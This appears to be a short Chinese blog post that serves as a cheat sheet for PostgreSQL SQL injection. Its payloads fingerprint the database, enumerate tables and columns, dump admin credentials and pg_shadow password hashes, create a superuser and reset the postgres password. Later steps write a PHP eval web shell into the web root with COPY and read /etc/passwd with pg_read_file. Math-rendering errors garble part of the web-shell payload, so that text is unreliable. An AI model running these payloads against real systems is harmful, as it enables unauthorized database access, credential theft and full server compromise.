postgresql注入

    xiaoxiao2022-07-07  162

    postgresql注入 1.postgresql数据库注入常用语法 判断是否为postgresql数据库 +and+1::int=1– php?id=1+and+1::int=1– 判断数据库版本信息 +and+1=cast(version() as int)– 判断当前用户 and 1=cast(user||123 as int) 判断有多少字段 order by union select null,null,null union select null,user,null 判断当前用户 判断数据库版本信息 union select null,version(),null– 判断用户权限 union+select+null,current_schema(),null 判断当前数据库名称 union+select+null,current_database(),null 判断当前表名 union+select+null,relname,null from pg_stat_user_tables 读取每个表的列名 union+select+null,column_name,null+from+information_schema.columns+where+table_name=‘表名’ 列字段内容 +union+select+null,name||pass,null+from+admin 查看postgresql数据库的账号密码 +union+select+null,usename||chr(124)||passwd,null+from+pg_shadow 创建用户 ;create+user+seven+with+superuser+password+‘seven’– 修改postgres的用户密码为123456 ;alter+user+postgres+with+password+‘123456’–

    2.postgresql写shell 直接拿shell

    php?id=1;create table shell(shell text not null);//创建一个名为shell的表 里面有名为shell的列 列的类型为text 不允许为空

    php?id=1;insert into shell values(KaTeX parse error: Can't use function '$' in math mode at position 13: <?php @eval($̲_POST[cracer]);…); //往shell的表里插入一句话为$ < ? p h p @ e v a l ( <?php @eval( <?php@eval(_POST[cracer] php?id=1;copy shell(shell) to ‘/var/www/html/shell.php’;//把shell表里的数据拿出来创建一个文件,要网站的绝对路径 单引号里的为路径

    另一种方法: ;copy (select ‘KaTeX parse error: Can't use function '$' in math mode at position 13: <?php @eval($̲_POST[cracer]);…’) to ‘c:/inetpub/wwwroot/mysql-sql/ddd.php’//直接导入一句话 单引号里的为路径 读取文件前20行 pg_read_file(’/etc/passwd’,1,20)//读文件函数

    最新回复(0)